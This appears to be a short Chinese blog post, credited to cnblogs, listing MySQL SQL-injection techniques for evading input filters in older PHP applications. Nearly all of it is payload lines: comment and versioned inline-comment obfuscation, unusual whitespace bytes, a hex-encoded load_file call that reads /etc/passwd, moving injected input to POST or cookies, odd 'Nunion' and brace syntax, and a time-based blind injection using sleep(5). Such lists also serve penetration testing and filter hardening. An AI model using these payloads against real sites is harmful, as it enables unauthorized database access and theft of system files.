mysql注入绕过的一些技巧

虽然mysql + php的开发中可以使用pdo中,但是有些老久的程序没有使用,或其他原因

1.注释绕过

select/*comment*/user/*zzsdsdsf*/from mysql.user;

 

2.内联注释绕过

/*!12345select*//*!12345user*/ from mysql.user;

 

3.特殊空白字符绕过

在php中s会匹配0x09,0x0a,0x0b,0x0c,0x0d,0x20

但是在mysql中空白字符为  0x09,0x0a,0x0b,0x0c,0x0d,0x20,0xa0 

0xa0有时候有奇效

0x0a和0x0d会影响"."的匹配,有时候也是可以利用的

4.十六进制绕过

select load_file('0x2f6574632f706173737764');

python

>>> '/etc/passwd'.encode('hex')
'2f6574632f706173737764'

5.换一种提交姿势绕过

有时候程序员只过滤了GET中的危险字符,可以试试POST,COOKIES甚至是FILES

6.mysql黑魔法绕过

select{x user}from {x mysql.user};

 select user from mysql.user where 1=Nunion select@1;

select user from mysql.user where 1=Nunion select-.1;

select~2.1from xxxx

select-2.1from xxx

select~2e1from xxx

if((select%0b(select(xxx)``from(xxx))regexp(0x5e61)),(`sleep`(5)),0)
原文地址:https://www.cnblogs.com/icez/p/mysql_sqlinjection_bypass.html